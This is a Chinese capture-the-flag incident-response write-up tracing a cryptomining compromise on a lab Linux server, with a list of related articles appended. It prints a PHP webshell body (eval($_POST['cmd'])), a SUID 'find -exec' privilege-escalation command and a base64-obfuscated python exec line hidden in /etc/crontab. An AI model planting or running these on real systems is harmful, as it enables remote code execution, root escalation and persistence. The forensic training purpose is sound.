玄机:第五章 linux实战-挖矿

简介

应急响应工程师在内网服务器发现有台主机 cpu 占用过高,猜测可能是中了挖矿病毒,请溯源分析,提交对应的报告给应急小组

复制代码
虚拟机账号:root
密码 :websecyjxy
web端口为:8081

1、黑客的IP是? flag格式:flag{黑客的ip地址},如:flag{127.0.0.1}

发现日志里有一个文件大小异常

复制代码
cd /www/admin/websec_80/log/
cut -d- -f 1 nginx_access_2023-12-22.log|uniq -c | sort -rn | head -20

发现了可疑 IP

复制代码
flag{192.168.10.135}

2、黑客攻陷网站的具体时间是? flag格式:flag{年-月-日 时:分:秒},如:flag{2023-12-24 22:23:24}

访问靶场网站

复制代码
52.83.102.186:8081/dede

是 dedecms, 使用弱口令登录

复制代码
账号:admin
密码:12345678

发现有两个账户,根据刚刚获取到的黑客ip,可以发现该时间

复制代码
flag{2023-12-22 19:08:34}

3、黑客上传webshell的名称及密码是? flag格式:flag{黑客上传的webshell名称-webshell密码},如:flag{webshell.php-pass}

将文件下载下来,使用 D盾进行扫描检测,发现了一个后门

找到该目录查看文件内容

解密之后是:eval($_POST['cmd']);

复制代码
flag{404.php-cmd}

4、黑客提权后设置的后门文件名称是? flag格式:flag{后门文件绝对路径加上名称},如:flag{/etc/passwd}

查看历史命令记录,发现 find 被赋予了suid权限,黑客可以使用suid提权做后门,

黑客执行以下命令即可从服务权限提升到root权限,即find文件被做了后门,( 黑客利用 find 命令被赋予了SUID权限后所进行的攻击)

find / -exec 任意命令 {} \;

复制代码
flag{/usr/bin/find}

5、对黑客上传的挖矿病毒进行分析,获取隐藏的Flag

找挖矿程序就要找计划任务但是crontab指令用不了

审查该文件/etc/crontab,在691行的一段python代码比较可疑,进行base64解码

复制代码
691 nohup python2 -c "import base64;exec(base64.b64decode('aW1wb3J0IHRpbWUKd2hpbGUgMToKICAgIHByaW50KCJmbGFne3dlYnNlY19Uc nVlQDg4OCF9IikKICAgIHRpbWUuc2xlZXAoMTAwMCk='))" >/dev/null 2>&1

获得最终的flag

复制代码
flag{websec_True@888!}

flag

复制代码
flag{192.168.10.135}
flag{2023-12-22 19:08:34}
flag{404.php-cmd}
flag{/usr/bin/find}
flag{websec_True@888!}
相关推荐
九成宫1 分钟前
计算机网络期末复习——第3章:运输层 Part One
网络·笔记·计算机网络·软件工程
xian_wwq5 分钟前
【学习笔记】网络安全L3级模型功能解析
笔记·学习·安全
触想工业平板电脑一体机5 分钟前
【触想智能】工业触控一体机在船舶海运设备上应用的特点和具体场景分析
android·网络·计算机外设·电脑·智能电视
小杜今天学AI了吗7 分钟前
如何配置 linux 系统的conda 环境
linux·运维·conda
nvd118 分钟前
Cookie 技术深度剖析与实战指南
网络
oMcLin9 分钟前
如何在Ubuntu 22.04 LTS上通过配置ZFS存储池,提升高吞吐量数据库的读写性能与可靠性?
linux·数据库·ubuntu
这就是佬们吗9 分钟前
告别 Node.js 版本冲突:NVM 安装与使用全攻略
java·linux·前端·windows·node.js·mac·web
christine-rr10 分钟前
linux常用命令(9)——查看系统与硬件信息
linux·运维·服务器·网络·后端
yuanmenghao18 分钟前
自动驾驶中间件iceoryx - 同步与通知机制(一)
开发语言·网络·驱动开发·中间件·自动驾驶
阿豪学编程19 分钟前
【Linux】线程同步和线程互斥
linux·开发语言